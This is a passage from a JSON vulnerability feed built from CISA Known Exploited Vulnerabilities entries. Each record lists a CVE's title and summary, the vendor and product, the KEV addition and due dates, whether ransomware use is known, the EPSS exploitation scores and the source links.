exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-49039","cveId":"CVE-2024-49039","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Task Scheduler Privilege Escalation Vulnerability","summary":"Microsoft Windows Task Scheduler contains a privilege escalation vulnerability that can allow an attacker-provided, local application to escalate privileges outside of its AppContainer, and access privileged RPC functions.","detail":"CISA added this entry on 2024-11-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-11-12","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-11-12","dueAt":"2024-12-03","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.14179,"percentile":0.96555,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-49039&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-49039","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-11-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-49039 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-49039&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-49039, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-16278","cveId":"CVE-2019-16278","aliases":[],"kind":"vulnerability","title":"Nostromo nhttpd Directory Traversal Vulnerability","summary":"Nostromo nhttpd contains a directory traversal vulnerability in the http_verify() function in a non-chrooted nhttpd server allowing for remote code execution.","detail":"CISA added this entry on 2024-11-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-11-07","updatedAt":null,"regions":["Global"],"vendor":"Nostromo","product":"nhttpd","stacks":["Nostromo","nhttpd"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-11-07","dueAt":"2024-11-28","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99033,"percentile":0.9993,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-16278&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-16278","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-11-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-16278 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-16278&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-16278, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-43093","cveId":"CVE-2024-43093","aliases":[],"kind":"vulnerability","title":"Android Framework Privilege Escalation Vulnerability","summary":"Android Framework contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2024-11-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-11-07","updatedAt":null,"regions":["Global"],"vendor":"Android","product":"Framework","stacks":["Android","Framework"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-11-07","dueAt":"2024-11-28","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00709,"percentile":0.53222,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-43093&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-43093","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-11-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-43093 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-43093&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-43093, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-51567","cveId":"CVE-2024-51567","aliases":[],"kind":"vulnerability","title":"CyberPanel Incorrect Default Permissions Vulnerability","summary":"CyberPanel contains an incorrect default permissions vulnerability that allows a remote, unauthenticated attacker to execute commands as root.","detail":"CISA added this entry on 2024-11-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-11-07","updatedAt":null,"regions":["Global"],"vendor":"CyberPersons","product":"CyberPanel","stacks":["CyberPersons","CyberPanel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-11-07","dueAt":"2024-11-28","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.84402,"percentile":0.99697,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-51567&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-51567","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-11-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-51567 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-51567&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-51567, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-5910","cveId":"CVE-2024-5910","aliases":[],"kind":"vulnerability","title":"Palo Alto Networks Expedition Missing Authentication Vulnerability","summary":"Palo Alto Networks Expedition contains a missing authentication vulnerability that allows an attacker with network access to takeover an Expedition admin account and potentially access configuration secrets, credentials, and other data.","detail":"CISA added this entry on 2024-11-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-11-07","updatedAt":null,"regions":["Global"],"vendor":"Palo Alto Networks","product":"Expedition","stacks":["Palo Alto Networks","Expedition"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-11-07","dueAt":"2024-11-28","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.91684,"percentile":0.99813,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-5910&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-5910","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-11-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-5910 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-5910&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-5910, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-8956","cveId":"CVE-2024-8956","aliases":[],"kind":"vulnerability","title":"PTZOptics PT30X-SDI/NDI Cameras Authentication Bypass Vulnerability","summary":"PTZOptics PT30X-SDI/NDI cameras contain an insecure direct object reference (IDOR) vulnerability that allows a remote, attacker to bypass authentication for the /cgi-bin/param.cgi CGI script. If combined with CVE-2024-8957, this can lead to remote code execution as root.","detail":"CISA added this entry on 2024-11-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-11-04","updatedAt":null,"regions":["Global"],"vendor":"PTZOptics","product":"PT30X-SDI/NDI Cameras","stacks":["PTZOptics","PT30X-SDI/NDI Cameras"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-11-04","dueAt":"2024-11-25","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.58787,"percentile":0.991,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-8956&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-8956","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-11-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-8956 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-8956&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-8956, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-8957","cveId":"CVE-2024-8957","aliases":[],"kind":"vulnerability","title":"PTZOptics PT30X-SDI/NDI Cameras OS Command Injection Vulnerability","summary":"PTZOptics PT30X-SDI/NDI cameras contain an OS command injection vulnerability that allows a remote, authenticated attacker to escalate privileges to root via a crafted payload with the ntp_addr parameter of the /cgi-bin/param.cgi CGI script.","detail":"CISA added this entry on 2024-11-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-11-04","updatedAt":null,"regions":["Global"],"vendor":"PTZOptics","product":"PT30X-SDI/NDI Cameras","stacks":["PTZOptics","PT30X-SDI/NDI Cameras"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-11-04","dueAt":"2024-11-25","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.7984,"percentile":0.99607,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-8957&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-8957","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-11-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-8957 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-8957&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-8957, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-20481","cveId":"CVE-2024-20481","aliases":[],"kind":"vulnerability","title":"Cisco ASA and FTD Denial-of-Service Vulnerability","summary":"Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain a missing release of resource after effective lifetime vulnerability that could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) of the RAVPN service.","detail":"CISA added this entry on 2024-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-10-24","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)","stacks":["Cisco","Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-10-24","dueAt":"2024-11-14","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.15874,"percentile":0.96862,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-20481&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-20481","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-10-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-20481 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-20481&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-20481, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-37383","cveId":"CVE-2024-37383","aliases":[],"kind":"vulnerability","title":"RoundCube Webmail Cross-Site Scripting (XSS) Vulnerability","summary":"RoundCube Webmail contains a cross-site scripting (XSS) vulnerability in the handling of SVG animate attributes that allows a remote attacker to run malicious JavaScript code.","detail":"CISA added this entry on 2024-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-10-24","updatedAt":null,"regions":["Global"],"vendor":"Roundcube","product":"Webmail","stacks":["Roundcube","Webmail"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-10-24","dueAt":"2024-11-14","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.73995,"percentile":0.99477,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-37383&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-37383","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-10-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-37383 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-37383&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-37383, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-38094","cveId":"CVE-2024-38094","aliases":[],"kind":"vulnerability","title":"Microsoft SharePoint Deserialization Vulnerability","summary":"Microsoft SharePoint contains a deserialization vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2024-10-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-10-22","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"SharePoint","stacks":["Microsoft SharePoint","Microsoft","SharePoint"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-10-22","dueAt":"2024-11-12","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.50892,"percentile":0.98919,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-38094&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-38094","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-10-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-38094 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-38094&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-38094, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-9537","cveId":"CVE-2024-9537","aliases":[],"kind":"vulnerability","title":"ScienceLogic SL1 Unspecified Vulnerability","summary":"ScienceLogic SL1 (formerly EM7) is affected by an unspecified vulnerability involving an unspecified third-party component.","detail":"CISA added this entry on 2024-10-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-10-21","updatedAt":null,"regions":["Global"],"vendor":"ScienceLogic","product":"SL1","stacks":["ScienceLogic","SL1"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-10-21","dueAt":"2024-11-11","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03826,"percentile":0.90002,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-9537&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-9537","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-10-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-9537 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-9537&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-9537, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-40711","cveId":"CVE-2024-40711","aliases":[],"kind":"vulnerability","title":"Veeam Backup and Replication Deserialization Vulnerability","summary":"Veeam Backup and Replication contains a deserialization vulnerability allowing an unauthenticated user to perform remote code execution.","detail":"CISA added this entry on 2024-10-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-10-17","updatedAt":null,"regions":["Global"],"vendor":"Veeam","product":"Backup & Replication","stacks":["Veeam","Backup & Replication"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-10-17","dueAt":"2024-11-07","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.90369,"percentile":0.99797,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-40711&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-40711","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-10-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-40711 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-40711&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-40711, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-28987","cveId":"CVE-2024-28987","aliases":[],"kind":"vulnerability","title":"SolarWinds Web Help Desk Hardcoded Credential Vulnerability","summary":"SolarWinds Web Help Desk contains a hardcoded credential vulnerability that could allow a remote, unauthenticated user to access internal functionality and modify data.","detail":"CISA added this entry on 2024-10-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-10-15","updatedAt":null,"regions":["Global"],"vendor":"SolarWinds","product":"Web Help Desk","stacks":["SolarWinds","Web Help Desk"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-10-15","dueAt":"2024-11-05","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.93299,"percentile":0.99835,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-28987&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-28987","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-10-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-28987 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-28987&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-28987, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-30088","cveId":"CVE-2024-30088","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Kernel TOCTOU Race Condition Vulnerability","summary":"Microsoft Windows Kernel contains a time-of-check to time-of-use (TOCTOU) race condition vulnerability that could allow for privilege escalation.","detail":"CISA added this entry on 2024-10-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-10-15","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-10-15","dueAt":"2024-11-05","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.68202,"percentile":0.99324,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-30088&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-30088","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-10-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-30088 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-30088&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-30088, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-9680","cveId":"CVE-2024-9680","aliases":[],"kind":"vulnerability","title":"Mozilla Firefox Use-After-Free Vulnerability","summary":"Mozilla Firefox and Firefox ESR 